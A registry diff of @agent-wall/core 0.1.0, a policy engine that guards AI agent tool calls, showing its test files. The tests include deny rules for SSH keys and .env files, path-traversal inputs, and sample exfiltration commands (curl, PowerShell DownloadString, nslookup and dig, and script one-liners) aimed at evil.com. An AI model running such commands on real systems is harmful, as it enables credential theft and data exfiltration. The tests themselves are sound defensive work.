@agent-wall/core 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.turbo/turbo-build.log +17 -0
- package/.turbo/turbo-test.log +30 -0
- package/LICENSE +21 -0
- package/README.md +80 -0
- package/dist/index.d.ts +1297 -0
- package/dist/index.js +3067 -0
- package/dist/index.js.map +1 -0
- package/package.json +48 -0
- package/src/audit-logger-security.test.ts +225 -0
- package/src/audit-logger.test.ts +93 -0
- package/src/audit-logger.ts +458 -0
- package/src/chain-detector.test.ts +100 -0
- package/src/chain-detector.ts +269 -0
- package/src/dashboard-server.test.ts +362 -0
- package/src/dashboard-server.ts +454 -0
- package/src/egress-control.test.ts +177 -0
- package/src/egress-control.ts +274 -0
- package/src/index.ts +137 -0
- package/src/injection-detector.test.ts +207 -0
- package/src/injection-detector.ts +397 -0
- package/src/kill-switch.test.ts +119 -0
- package/src/kill-switch.ts +198 -0
- package/src/policy-engine-security.test.ts +227 -0
- package/src/policy-engine.test.ts +453 -0
- package/src/policy-engine.ts +414 -0
- package/src/policy-loader.test.ts +202 -0
- package/src/policy-loader.ts +485 -0
- package/src/proxy.ts +786 -0
- package/src/read-buffer-security.test.ts +59 -0
- package/src/read-buffer.test.ts +135 -0
- package/src/read-buffer.ts +126 -0
- package/src/response-scanner.test.ts +464 -0
- package/src/response-scanner.ts +587 -0
- package/src/types.test.ts +152 -0
- package/src/types.ts +146 -0
- package/tsconfig.json +8 -0
- package/tsup.config.ts +9 -0
- package/vitest.config.ts +12 -0
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { PolicyEngine } from "./policy-engine.js";
|
|
3
|
+
import { isRegexSafe } from "./response-scanner.js";
|
|
4
|
+
|
|
5
|
+
describe("PolicyEngine Security", () => {
|
|
6
|
+
describe("path traversal normalization", () => {
|
|
7
|
+
const engine = new PolicyEngine({
|
|
8
|
+
version: 1,
|
|
9
|
+
rules: [
|
|
10
|
+
{
|
|
11
|
+
name: "block-ssh",
|
|
12
|
+
tool: "*",
|
|
13
|
+
match: { arguments: { path: "**/.ssh/**" } },
|
|
14
|
+
action: "deny",
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
name: "block-env",
|
|
18
|
+
tool: "*",
|
|
19
|
+
match: { arguments: { path: "**/.env*" } },
|
|
20
|
+
action: "deny",
|
|
21
|
+
},
|
|
22
|
+
],
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it("should block direct .ssh access", () => {
|
|
26
|
+
const result = engine.evaluate({
|
|
27
|
+
name: "read_file",
|
|
28
|
+
arguments: { path: "/home/user/.ssh/id_rsa" },
|
|
29
|
+
});
|
|
30
|
+
expect(result.action).toBe("deny");
|
|
31
|
+
});
|
|
32
|
+
|
|
33
|
+
it("should block path traversal to .ssh", () => {
|
|
34
|
+
const result = engine.evaluate({
|
|
35
|
+
name: "read_file",
|
|
36
|
+
arguments: { path: "/home/user/docs/../../.ssh/id_rsa" },
|
|
37
|
+
});
|
|
38
|
+
// After normalization: /home/.ssh/id_rsa
|
|
39
|
+
expect(result.action).toBe("deny");
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it("should block ../ prefix traversal to .env", () => {
|
|
43
|
+
const result = engine.evaluate({
|
|
44
|
+
name: "read_file",
|
|
45
|
+
arguments: { path: "../../.env" },
|
|
46
|
+
});
|
|
47
|
+
expect(result.action).toBe("deny");
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
it("should block backslash path traversal", () => {
|
|
51
|
+
const result = engine.evaluate({
|
|
52
|
+
name: "read_file",
|
|
53
|
+
arguments: { path: "..\\..\\..\\home\\user\\.ssh\\id_rsa" },
|
|
54
|
+
});
|
|
55
|
+
expect(result.action).toBe("deny");
|
|
56
|
+
});
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
describe("Unicode NFC normalization", () => {
|
|
60
|
+
const engine = new PolicyEngine({
|
|
61
|
+
version: 1,
|
|
62
|
+
rules: [
|
|
63
|
+
{
|
|
64
|
+
name: "block-env",
|
|
65
|
+
tool: "*",
|
|
66
|
+
match: { arguments: { path: "**/.env*" } },
|
|
67
|
+
action: "deny",
|
|
68
|
+
},
|
|
69
|
+
],
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it("should match NFC-normalized strings", () => {
|
|
73
|
+
// .env in NFC form
|
|
74
|
+
const result = engine.evaluate({
|
|
75
|
+
name: "read_file",
|
|
76
|
+
arguments: { path: "/app/.env" },
|
|
77
|
+
});
|
|
78
|
+
expect(result.action).toBe("deny");
|
|
79
|
+
});
|
|
80
|
+
|
|
81
|
+
it("should normalize NFD to NFC before matching", () => {
|
|
82
|
+
// Use NFD decomposed form for the 'e' in .env
|
|
83
|
+
// U+0065 (e) + U+0301 (combining acute) = é in NFD
|
|
84
|
+
// This tests that normalization happens before matching
|
|
85
|
+
const nfdPath = "/app/.e\u0301nv";
|
|
86
|
+
const result = engine.evaluate({
|
|
87
|
+
name: "read_file",
|
|
88
|
+
arguments: { path: nfdPath },
|
|
89
|
+
});
|
|
90
|
+
// After NFC normalization, the é stays as é (not plain e)
|
|
91
|
+
// So .énv won't match .env* — this is correct! NFC prevents
|
|
92
|
+
// decomposition bypass but doesn't collapse different characters
|
|
93
|
+
expect(result).toBeDefined();
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
describe("zero-trust strict mode", () => {
|
|
98
|
+
const engine = new PolicyEngine({
|
|
99
|
+
version: 1,
|
|
100
|
+
mode: "strict",
|
|
101
|
+
rules: [
|
|
102
|
+
{ name: "allow-read", tool: "read_file", action: "allow" },
|
|
103
|
+
{ name: "allow-list", tool: "list_directory", action: "allow" },
|
|
104
|
+
],
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
it("should allow explicitly listed tools", () => {
|
|
108
|
+
const result = engine.evaluate({ name: "read_file" });
|
|
109
|
+
expect(result.action).toBe("allow");
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
it("should deny unlisted tools (zero-trust default)", () => {
|
|
113
|
+
const result = engine.evaluate({ name: "write_file" });
|
|
114
|
+
expect(result.action).toBe("deny");
|
|
115
|
+
expect(result.message).toContain("Zero-trust");
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
it("should deny shell commands not in allowlist", () => {
|
|
119
|
+
const result = engine.evaluate({ name: "bash" });
|
|
120
|
+
expect(result.action).toBe("deny");
|
|
121
|
+
});
|
|
122
|
+
|
|
123
|
+
it("should deny even with arguments matching no rule", () => {
|
|
124
|
+
const result = engine.evaluate({
|
|
125
|
+
name: "execute_command",
|
|
126
|
+
arguments: { command: "ls" },
|
|
127
|
+
});
|
|
128
|
+
expect(result.action).toBe("deny");
|
|
129
|
+
});
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
describe("standard mode backward compatibility", () => {
|
|
133
|
+
it("should default to prompt when no mode specified", () => {
|
|
134
|
+
const engine = new PolicyEngine({
|
|
135
|
+
version: 1,
|
|
136
|
+
rules: [],
|
|
137
|
+
});
|
|
138
|
+
const result = engine.evaluate({ name: "any_tool" });
|
|
139
|
+
expect(result.action).toBe("prompt");
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
it("should respect defaultAction in standard mode", () => {
|
|
143
|
+
const engine = new PolicyEngine({
|
|
144
|
+
version: 1,
|
|
145
|
+
mode: "standard",
|
|
146
|
+
defaultAction: "allow",
|
|
147
|
+
rules: [],
|
|
148
|
+
});
|
|
149
|
+
const result = engine.evaluate({ name: "any_tool" });
|
|
150
|
+
expect(result.action).toBe("allow");
|
|
151
|
+
});
|
|
152
|
+
});
|
|
153
|
+
|
|
154
|
+
describe("argument key aliases", () => {
|
|
155
|
+
const engine = new PolicyEngine({
|
|
156
|
+
version: 1,
|
|
157
|
+
rules: [
|
|
158
|
+
{
|
|
159
|
+
name: "block-ssh-by-path",
|
|
160
|
+
tool: "*",
|
|
161
|
+
match: { arguments: { path: "**/.ssh/**" } },
|
|
162
|
+
action: "deny",
|
|
163
|
+
},
|
|
164
|
+
],
|
|
165
|
+
});
|
|
166
|
+
|
|
167
|
+
it("should match 'path' key directly", () => {
|
|
168
|
+
const result = engine.evaluate({
|
|
169
|
+
name: "read_file",
|
|
170
|
+
arguments: { path: "/home/.ssh/id_rsa" },
|
|
171
|
+
});
|
|
172
|
+
expect(result.action).toBe("deny");
|
|
173
|
+
});
|
|
174
|
+
|
|
175
|
+
it("should match 'file' key as alias for 'path'", () => {
|
|
176
|
+
const result = engine.evaluate({
|
|
177
|
+
name: "read_file",
|
|
178
|
+
arguments: { file: "/home/.ssh/id_rsa" },
|
|
179
|
+
});
|
|
180
|
+
expect(result.action).toBe("deny");
|
|
181
|
+
});
|
|
182
|
+
|
|
183
|
+
it("should match 'filepath' key as alias for 'path'", () => {
|
|
184
|
+
const result = engine.evaluate({
|
|
185
|
+
name: "read_file",
|
|
186
|
+
arguments: { filepath: "/home/.ssh/id_rsa" },
|
|
187
|
+
});
|
|
188
|
+
expect(result.action).toBe("deny");
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
it("should match 'file_path' key as alias for 'path'", () => {
|
|
192
|
+
const result = engine.evaluate({
|
|
193
|
+
name: "read_file",
|
|
194
|
+
arguments: { file_path: "/home/.ssh/id_rsa" },
|
|
195
|
+
});
|
|
196
|
+
expect(result.action).toBe("deny");
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
it("should match case-insensitively", () => {
|
|
200
|
+
const result = engine.evaluate({
|
|
201
|
+
name: "read_file",
|
|
202
|
+
arguments: { PATH: "/home/.ssh/id_rsa" },
|
|
203
|
+
});
|
|
204
|
+
expect(result.action).toBe("deny");
|
|
205
|
+
});
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
describe("ReDoS protection", () => {
|
|
209
|
+
it("should reject nested quantifier patterns", () => {
|
|
210
|
+
expect(isRegexSafe("(a+)+")).toBe(false);
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
it("should reject patterns that are too long", () => {
|
|
214
|
+
const longPattern = "a".repeat(1100);
|
|
215
|
+
expect(isRegexSafe(longPattern)).toBe(false);
|
|
216
|
+
});
|
|
217
|
+
|
|
218
|
+
it("should accept safe patterns", () => {
|
|
219
|
+
expect(isRegexSafe("[A-Za-z0-9]+")).toBe(true);
|
|
220
|
+
expect(isRegexSafe("\\d{3}-\\d{2}-\\d{4}")).toBe(true);
|
|
221
|
+
});
|
|
222
|
+
|
|
223
|
+
it("should reject invalid regex", () => {
|
|
224
|
+
expect(isRegexSafe("[invalid")).toBe(false);
|
|
225
|
+
});
|
|
226
|
+
});
|
|
227
|
+
});
|
|
@@ -0,0 +1,453 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tests for PolicyEngine — rule matching and evaluation.
|
|
3
|
+
*/
|
|
4
|
+
|
|
5
|
+
import { describe, it, expect, beforeEach } from "vitest";
|
|
6
|
+
import { PolicyEngine, type PolicyConfig } from "./policy-engine.js";
|
|
7
|
+
|
|
8
|
+
const makeConfig = (overrides?: Partial<PolicyConfig>): PolicyConfig => ({
|
|
9
|
+
version: 1,
|
|
10
|
+
defaultAction: "prompt",
|
|
11
|
+
rules: [],
|
|
12
|
+
...overrides,
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
describe("PolicyEngine", () => {
|
|
16
|
+
describe("basic rule matching", () => {
|
|
17
|
+
it("should deny when tool name matches a deny rule", () => {
|
|
18
|
+
const engine = new PolicyEngine(
|
|
19
|
+
makeConfig({
|
|
20
|
+
rules: [
|
|
21
|
+
{
|
|
22
|
+
name: "block-shell",
|
|
23
|
+
tool: "shell_exec",
|
|
24
|
+
action: "deny",
|
|
25
|
+
message: "Shell execution blocked",
|
|
26
|
+
},
|
|
27
|
+
],
|
|
28
|
+
})
|
|
29
|
+
);
|
|
30
|
+
|
|
31
|
+
const verdict = engine.evaluate({ name: "shell_exec", arguments: { command: "ls" } });
|
|
32
|
+
expect(verdict.action).toBe("deny");
|
|
33
|
+
expect(verdict.rule).toBe("block-shell");
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
it("should allow when tool name matches an allow rule", () => {
|
|
37
|
+
const engine = new PolicyEngine(
|
|
38
|
+
makeConfig({
|
|
39
|
+
rules: [
|
|
40
|
+
{
|
|
41
|
+
name: "allow-read",
|
|
42
|
+
tool: "read_file",
|
|
43
|
+
action: "allow",
|
|
44
|
+
},
|
|
45
|
+
],
|
|
46
|
+
})
|
|
47
|
+
);
|
|
48
|
+
|
|
49
|
+
const verdict = engine.evaluate({ name: "read_file", arguments: { path: "/test" } });
|
|
50
|
+
expect(verdict.action).toBe("allow");
|
|
51
|
+
expect(verdict.rule).toBe("allow-read");
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
it("should use default action when no rules match", () => {
|
|
55
|
+
const engine = new PolicyEngine(
|
|
56
|
+
makeConfig({ defaultAction: "deny", rules: [] })
|
|
57
|
+
);
|
|
58
|
+
|
|
59
|
+
const verdict = engine.evaluate({ name: "unknown_tool" });
|
|
60
|
+
expect(verdict.action).toBe("deny");
|
|
61
|
+
expect(verdict.rule).toBeNull();
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
it("should default to prompt when no default action specified", () => {
|
|
65
|
+
const engine = new PolicyEngine({ version: 1, rules: [] });
|
|
66
|
+
|
|
67
|
+
const verdict = engine.evaluate({ name: "anything" });
|
|
68
|
+
expect(verdict.action).toBe("prompt");
|
|
69
|
+
});
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
describe("glob pattern matching", () => {
|
|
73
|
+
it("should match wildcard tool patterns", () => {
|
|
74
|
+
const engine = new PolicyEngine(
|
|
75
|
+
makeConfig({
|
|
76
|
+
rules: [
|
|
77
|
+
{ name: "block-all", tool: "*", action: "deny", message: "All blocked" },
|
|
78
|
+
],
|
|
79
|
+
})
|
|
80
|
+
);
|
|
81
|
+
|
|
82
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("deny");
|
|
83
|
+
expect(engine.evaluate({ name: "shell_exec" }).action).toBe("deny");
|
|
84
|
+
expect(engine.evaluate({ name: "anything" }).action).toBe("deny");
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
it("should match pipe-separated tool patterns", () => {
|
|
88
|
+
const engine = new PolicyEngine(
|
|
89
|
+
makeConfig({
|
|
90
|
+
rules: [
|
|
91
|
+
{
|
|
92
|
+
name: "block-exec",
|
|
93
|
+
tool: "shell_exec|run_command|execute_command",
|
|
94
|
+
action: "deny",
|
|
95
|
+
},
|
|
96
|
+
],
|
|
97
|
+
})
|
|
98
|
+
);
|
|
99
|
+
|
|
100
|
+
expect(engine.evaluate({ name: "shell_exec" }).action).toBe("deny");
|
|
101
|
+
expect(engine.evaluate({ name: "run_command" }).action).toBe("deny");
|
|
102
|
+
expect(engine.evaluate({ name: "execute_command" }).action).toBe("deny");
|
|
103
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("prompt"); // default
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it("should match glob patterns in tool names", () => {
|
|
107
|
+
const engine = new PolicyEngine(
|
|
108
|
+
makeConfig({
|
|
109
|
+
rules: [
|
|
110
|
+
{ name: "block-delete", tool: "*delete*", action: "deny" },
|
|
111
|
+
],
|
|
112
|
+
})
|
|
113
|
+
);
|
|
114
|
+
|
|
115
|
+
expect(engine.evaluate({ name: "delete_file" }).action).toBe("deny");
|
|
116
|
+
expect(engine.evaluate({ name: "file_delete" }).action).toBe("deny");
|
|
117
|
+
expect(engine.evaluate({ name: "bulk_delete_all" }).action).toBe("deny");
|
|
118
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("prompt");
|
|
119
|
+
});
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
describe("argument matching", () => {
|
|
123
|
+
it("should match argument glob patterns", () => {
|
|
124
|
+
const engine = new PolicyEngine(
|
|
125
|
+
makeConfig({
|
|
126
|
+
rules: [
|
|
127
|
+
{
|
|
128
|
+
name: "block-ssh",
|
|
129
|
+
tool: "*",
|
|
130
|
+
match: { arguments: { path: "**/.ssh/**" } },
|
|
131
|
+
action: "deny",
|
|
132
|
+
message: "SSH access blocked",
|
|
133
|
+
},
|
|
134
|
+
],
|
|
135
|
+
})
|
|
136
|
+
);
|
|
137
|
+
|
|
138
|
+
const denied = engine.evaluate({
|
|
139
|
+
name: "read_file",
|
|
140
|
+
arguments: { path: "/home/user/.ssh/id_rsa" },
|
|
141
|
+
});
|
|
142
|
+
expect(denied.action).toBe("deny");
|
|
143
|
+
|
|
144
|
+
const allowed = engine.evaluate({
|
|
145
|
+
name: "read_file",
|
|
146
|
+
arguments: { path: "/home/user/project/src/index.ts" },
|
|
147
|
+
});
|
|
148
|
+
expect(allowed.action).toBe("prompt"); // default, no match
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
it("should match pipe-separated argument patterns", () => {
|
|
152
|
+
const engine = new PolicyEngine(
|
|
153
|
+
makeConfig({
|
|
154
|
+
rules: [
|
|
155
|
+
{
|
|
156
|
+
name: "block-creds",
|
|
157
|
+
tool: "*",
|
|
158
|
+
match: { arguments: { path: "**/.env*|**/*.pem|**/*.key" } },
|
|
159
|
+
action: "deny",
|
|
160
|
+
},
|
|
161
|
+
],
|
|
162
|
+
})
|
|
163
|
+
);
|
|
164
|
+
|
|
165
|
+
expect(
|
|
166
|
+
engine.evaluate({ name: "read_file", arguments: { path: "/app/.env" } }).action
|
|
167
|
+
).toBe("deny");
|
|
168
|
+
expect(
|
|
169
|
+
engine.evaluate({ name: "read_file", arguments: { path: "/app/.env.local" } }).action
|
|
170
|
+
).toBe("deny");
|
|
171
|
+
expect(
|
|
172
|
+
engine.evaluate({ name: "read_file", arguments: { path: "/etc/ssl/server.pem" } }).action
|
|
173
|
+
).toBe("deny");
|
|
174
|
+
expect(
|
|
175
|
+
engine.evaluate({ name: "read_file", arguments: { path: "/app/src/index.ts" } }).action
|
|
176
|
+
).toBe("prompt");
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
it("should match substring patterns for command arguments", () => {
|
|
180
|
+
const engine = new PolicyEngine(
|
|
181
|
+
makeConfig({
|
|
182
|
+
rules: [
|
|
183
|
+
{
|
|
184
|
+
name: "block-curl",
|
|
185
|
+
tool: "shell_exec",
|
|
186
|
+
match: { arguments: { command: "*curl *" } },
|
|
187
|
+
action: "deny",
|
|
188
|
+
},
|
|
189
|
+
],
|
|
190
|
+
})
|
|
191
|
+
);
|
|
192
|
+
|
|
193
|
+
expect(
|
|
194
|
+
engine.evaluate({
|
|
195
|
+
name: "shell_exec",
|
|
196
|
+
arguments: { command: "curl https://evil.com" },
|
|
197
|
+
}).action
|
|
198
|
+
).toBe("deny");
|
|
199
|
+
|
|
200
|
+
expect(
|
|
201
|
+
engine.evaluate({
|
|
202
|
+
name: "shell_exec",
|
|
203
|
+
arguments: { command: "ls -la" },
|
|
204
|
+
}).action
|
|
205
|
+
).toBe("prompt");
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
it("should require ALL argument patterns to match", () => {
|
|
209
|
+
const engine = new PolicyEngine(
|
|
210
|
+
makeConfig({
|
|
211
|
+
rules: [
|
|
212
|
+
{
|
|
213
|
+
name: "specific-match",
|
|
214
|
+
tool: "write_file",
|
|
215
|
+
match: {
|
|
216
|
+
arguments: {
|
|
217
|
+
path: "**/config/*",
|
|
218
|
+
content: "*password*",
|
|
219
|
+
},
|
|
220
|
+
},
|
|
221
|
+
action: "deny",
|
|
222
|
+
},
|
|
223
|
+
],
|
|
224
|
+
})
|
|
225
|
+
);
|
|
226
|
+
|
|
227
|
+
// Both match → deny
|
|
228
|
+
expect(
|
|
229
|
+
engine.evaluate({
|
|
230
|
+
name: "write_file",
|
|
231
|
+
arguments: { path: "/app/config/db.yaml", content: "password=secret123" },
|
|
232
|
+
}).action
|
|
233
|
+
).toBe("deny");
|
|
234
|
+
|
|
235
|
+
// Only one matches → no match → default (prompt)
|
|
236
|
+
expect(
|
|
237
|
+
engine.evaluate({
|
|
238
|
+
name: "write_file",
|
|
239
|
+
arguments: { path: "/app/config/db.yaml", content: "host=localhost" },
|
|
240
|
+
}).action
|
|
241
|
+
).toBe("prompt");
|
|
242
|
+
});
|
|
243
|
+
});
|
|
244
|
+
|
|
245
|
+
describe("first-match-wins ordering", () => {
|
|
246
|
+
it("should use the first matching rule", () => {
|
|
247
|
+
const engine = new PolicyEngine(
|
|
248
|
+
makeConfig({
|
|
249
|
+
rules: [
|
|
250
|
+
{ name: "allow-specific", tool: "read_file", action: "allow" },
|
|
251
|
+
{ name: "deny-all", tool: "*", action: "deny" },
|
|
252
|
+
],
|
|
253
|
+
})
|
|
254
|
+
);
|
|
255
|
+
|
|
256
|
+
// read_file matches the first rule → allow
|
|
257
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
|
|
258
|
+
expect(engine.evaluate({ name: "read_file" }).rule).toBe("allow-specific");
|
|
259
|
+
|
|
260
|
+
// anything else → deny (second rule)
|
|
261
|
+
expect(engine.evaluate({ name: "shell_exec" }).action).toBe("deny");
|
|
262
|
+
expect(engine.evaluate({ name: "shell_exec" }).rule).toBe("deny-all");
|
|
263
|
+
});
|
|
264
|
+
});
|
|
265
|
+
|
|
266
|
+
describe("rate limiting", () => {
|
|
267
|
+
it("should enforce per-rule rate limits", () => {
|
|
268
|
+
const engine = new PolicyEngine(
|
|
269
|
+
makeConfig({
|
|
270
|
+
rules: [
|
|
271
|
+
{
|
|
272
|
+
name: "limited-read",
|
|
273
|
+
tool: "read_file",
|
|
274
|
+
action: "allow",
|
|
275
|
+
rateLimit: { maxCalls: 3, windowSeconds: 60 },
|
|
276
|
+
},
|
|
277
|
+
],
|
|
278
|
+
})
|
|
279
|
+
);
|
|
280
|
+
|
|
281
|
+
// First 3 calls should be allowed
|
|
282
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
|
|
283
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
|
|
284
|
+
expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
|
|
285
|
+
|
|
286
|
+
// 4th call should be denied (rate limit)
|
|
287
|
+
const verdict = engine.evaluate({ name: "read_file" });
|
|
288
|
+
expect(verdict.action).toBe("deny");
|
|
289
|
+
expect(verdict.rule).toBe("limited-read");
|
|
290
|
+
});
|
|
291
|
+
|
|
292
|
+
it("should enforce global rate limits", () => {
|
|
293
|
+
const engine = new PolicyEngine(
|
|
294
|
+
makeConfig({
|
|
295
|
+
globalRateLimit: { maxCalls: 2, windowSeconds: 60 },
|
|
296
|
+
rules: [
|
|
297
|
+
{ name: "allow-all", tool: "*", action: "allow" },
|
|
298
|
+
],
|
|
299
|
+
})
|
|
300
|
+
);
|
|
301
|
+
|
|
302
|
+
expect(engine.evaluate({ name: "tool_a" }).action).toBe("allow");
|
|
303
|
+
expect(engine.evaluate({ name: "tool_b" }).action).toBe("allow");
|
|
304
|
+
|
|
305
|
+
// 3rd call hits global limit
|
|
306
|
+
const verdict = engine.evaluate({ name: "tool_c" });
|
|
307
|
+
expect(verdict.action).toBe("deny");
|
|
308
|
+
expect(verdict.rule).toBe("__global_rate_limit__");
|
|
309
|
+
});
|
|
310
|
+
});
|
|
311
|
+
|
|
312
|
+
describe("bypass-resistant exfiltration patterns", () => {
|
|
313
|
+
let engine: PolicyEngine;
|
|
314
|
+
|
|
315
|
+
beforeEach(() => {
|
|
316
|
+
// Use rules similar to the default policy's new bypass patterns
|
|
317
|
+
engine = new PolicyEngine(
|
|
318
|
+
makeConfig({
|
|
319
|
+
rules: [
|
|
320
|
+
{
|
|
321
|
+
name: "block-powershell",
|
|
322
|
+
tool: "shell_exec|run_command|execute_command|bash",
|
|
323
|
+
match: { arguments: { command: "*powershell*|*pwsh*|*Invoke-WebRequest*|*Invoke-RestMethod*|*DownloadString*|*DownloadFile*|*Start-BitsTransfer*" } },
|
|
324
|
+
action: "deny",
|
|
325
|
+
},
|
|
326
|
+
{
|
|
327
|
+
name: "block-dns",
|
|
328
|
+
tool: "shell_exec|run_command|execute_command|bash",
|
|
329
|
+
match: { arguments: { command: "*nslookup *|*dig *|*host *" } },
|
|
330
|
+
action: "deny",
|
|
331
|
+
},
|
|
332
|
+
{
|
|
333
|
+
name: "approve-script",
|
|
334
|
+
tool: "shell_exec|run_command|execute_command|bash",
|
|
335
|
+
match: { arguments: { command: "*python* -c *|*python3* -c *|*ruby* -e *|*perl* -e *|*node* -e *|*node* --eval*" } },
|
|
336
|
+
action: "prompt",
|
|
337
|
+
},
|
|
338
|
+
],
|
|
339
|
+
})
|
|
340
|
+
);
|
|
341
|
+
});
|
|
342
|
+
|
|
343
|
+
it("should block PowerShell commands", () => {
|
|
344
|
+
expect(
|
|
345
|
+
engine.evaluate({
|
|
346
|
+
name: "shell_exec",
|
|
347
|
+
arguments: { command: "powershell -Command Get-Process" },
|
|
348
|
+
}).action
|
|
349
|
+
).toBe("deny");
|
|
350
|
+
});
|
|
351
|
+
|
|
352
|
+
it("should block pwsh (PowerShell Core)", () => {
|
|
353
|
+
expect(
|
|
354
|
+
engine.evaluate({
|
|
355
|
+
name: "shell_exec",
|
|
356
|
+
arguments: { command: "pwsh -c 'Get-ChildItem'" },
|
|
357
|
+
}).action
|
|
358
|
+
).toBe("deny");
|
|
359
|
+
});
|
|
360
|
+
|
|
361
|
+
it("should block Invoke-WebRequest", () => {
|
|
362
|
+
expect(
|
|
363
|
+
engine.evaluate({
|
|
364
|
+
name: "shell_exec",
|
|
365
|
+
arguments: { command: "Invoke-WebRequest -Uri https://evil.com" },
|
|
366
|
+
}).action
|
|
367
|
+
).toBe("deny");
|
|
368
|
+
});
|
|
369
|
+
|
|
370
|
+
it("should block DownloadString (.NET exfil)", () => {
|
|
371
|
+
expect(
|
|
372
|
+
engine.evaluate({
|
|
373
|
+
name: "shell_exec",
|
|
374
|
+
arguments: { command: "(New-Object Net.WebClient).DownloadString('https://evil.com')" },
|
|
375
|
+
}).action
|
|
376
|
+
).toBe("deny");
|
|
377
|
+
});
|
|
378
|
+
|
|
379
|
+
it("should block DNS exfiltration via nslookup", () => {
|
|
380
|
+
expect(
|
|
381
|
+
engine.evaluate({
|
|
382
|
+
name: "shell_exec",
|
|
383
|
+
arguments: { command: "nslookup data.evil.com" },
|
|
384
|
+
}).action
|
|
385
|
+
).toBe("deny");
|
|
386
|
+
});
|
|
387
|
+
|
|
388
|
+
it("should block DNS exfiltration via dig", () => {
|
|
389
|
+
expect(
|
|
390
|
+
engine.evaluate({
|
|
391
|
+
name: "shell_exec",
|
|
392
|
+
arguments: { command: "dig secret.evil.com" },
|
|
393
|
+
}).action
|
|
394
|
+
).toBe("deny");
|
|
395
|
+
});
|
|
396
|
+
|
|
397
|
+
it("should prompt for Python one-liners", () => {
|
|
398
|
+
expect(
|
|
399
|
+
engine.evaluate({
|
|
400
|
+
name: "shell_exec",
|
|
401
|
+
arguments: { command: 'python -c "import urllib.request; urllib.request.urlopen(\'http://evil.com\')"' },
|
|
402
|
+
}).action
|
|
403
|
+
).toBe("prompt");
|
|
404
|
+
});
|
|
405
|
+
|
|
406
|
+
it("should prompt for Ruby one-liners", () => {
|
|
407
|
+
expect(
|
|
408
|
+
engine.evaluate({
|
|
409
|
+
name: "shell_exec",
|
|
410
|
+
arguments: { command: "ruby -e 'require \"net/http\"; Net::HTTP.get(URI(\"http://evil.com\"))'" },
|
|
411
|
+
}).action
|
|
412
|
+
).toBe("prompt");
|
|
413
|
+
});
|
|
414
|
+
|
|
415
|
+
it("should prompt for Node one-liners", () => {
|
|
416
|
+
expect(
|
|
417
|
+
engine.evaluate({
|
|
418
|
+
name: "shell_exec",
|
|
419
|
+
arguments: { command: "node -e 'fetch(\"http://evil.com\")'" },
|
|
420
|
+
}).action
|
|
421
|
+
).toBe("prompt");
|
|
422
|
+
});
|
|
423
|
+
|
|
424
|
+
it("should allow safe commands that don't match bypass patterns", () => {
|
|
425
|
+
expect(
|
|
426
|
+
engine.evaluate({
|
|
427
|
+
name: "shell_exec",
|
|
428
|
+
arguments: { command: "ls -la /tmp" },
|
|
429
|
+
}).action
|
|
430
|
+
).toBe("prompt"); // default action
|
|
431
|
+
});
|
|
432
|
+
});
|
|
433
|
+
|
|
434
|
+
describe("config updates", () => {
|
|
435
|
+
it("should apply new config after updateConfig", () => {
|
|
436
|
+
const engine = new PolicyEngine(
|
|
437
|
+
makeConfig({
|
|
438
|
+
rules: [{ name: "allow-all", tool: "*", action: "allow" }],
|
|
439
|
+
})
|
|
440
|
+
);
|
|
441
|
+
|
|
442
|
+
expect(engine.evaluate({ name: "test" }).action).toBe("allow");
|
|
443
|
+
|
|
444
|
+
engine.updateConfig(
|
|
445
|
+
makeConfig({
|
|
446
|
+
rules: [{ name: "deny-all", tool: "*", action: "deny" }],
|
|
447
|
+
})
|
|
448
|
+
);
|
|
449
|
+
|
|
450
|
+
expect(engine.evaluate({ name: "test" }).action).toBe("deny");
|
|
451
|
+
});
|
|
452
|
+
});
|
|
453
|
+
});
|